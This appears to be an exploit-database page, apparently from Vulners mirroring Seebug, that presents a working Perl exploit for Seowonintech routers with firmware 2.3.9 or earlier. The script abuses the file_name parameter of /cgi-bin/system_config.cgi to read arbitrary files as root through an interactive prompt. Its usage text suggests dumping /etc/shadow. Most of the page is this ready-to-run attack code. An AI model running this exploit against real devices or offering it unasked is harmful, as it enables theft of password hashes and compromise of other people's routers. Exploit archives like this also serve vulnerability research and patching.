Lucene search
K

Seowonintech Routers <= fw: 2.3.9 - Remote Root File Disclosure

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Seowonintech Routers fw: 2.3.9 Remote Root File Disclosure through CG

Code

                                                #!/usr/bin/perl
# 
# [+] Seowonintech routers * &#60;= fw: 2.3.9 remote root file dumper
#
# Author: Todor Donev (todor dot donev at gmail.com)
# Type: Hardware
# Platform: Linux
#
# Special greetz to Stiliyan Angelov, Tsvetelina Emirska and all 
# my friends that support me 
#
# 2013 Bulgaria
# 
use LWP::Simple;
  
my $host  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  &#39;http://&#39; . $ARGV[0];
if(not defined $ARGV[0])
{
     usg();
     exit;
}
print &#34;[+] Seowonintech routers * &#60;= fw: 2.3.9 remote root file dumper\n&#34;;
$check = $host.&#34;/cgi-bin/system_config.cgi&#34;;
get($check) || die &#34;[-] Error: $!\n&#34;;     
if (defined $check =~ s/\/etc\///gs){
     print &#34;[+] Connected to $ARGV[0]\n&#34;;
     print &#34;[+] Exploiting..\n\n&#34;;
}
while(1){ 
     print &#34;# cat &#34;;
     chomp($file=&#60;STDIN&#62;);
     $bug = $host.&#34;/cgi-bin/system_config.cgi?file_name=&#34;.$file.&#34;&btn_type=load&action=APPLY&#34;;
     if($file eq &#34;&#34;){ print &#34;Enter full path to file!\n&#34;; }
     $data=get($bug) || die &#34;$!, try another exploit\n&#34;;
     $data =~ s/Null/File not found!/gs;
     if (defined $data =~ m{rows=&#34;30&#34;&#62;(.*?)&lt;/textarea&gt;}sx){
     print $1.&#34;\n&#34;;
}}
sub usg
{
     print &#34; [+] Seowonintech routers * &#60;= fw: 2.3.9 remote root file dumper\n&#34;;
     print &#34; [?] usg: perl $0 &#60;victim&#62;\n&#34;;
     print &#34; [?] exmp xpl usg: perl $0 192.168.1.1 :)\n&#34;;
     print &#34; [?] exmp xpl cmd: # cat /etc/shadow :)\n&#34;;
     print &#34; [?] The device use Linux.\n&#34;;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
20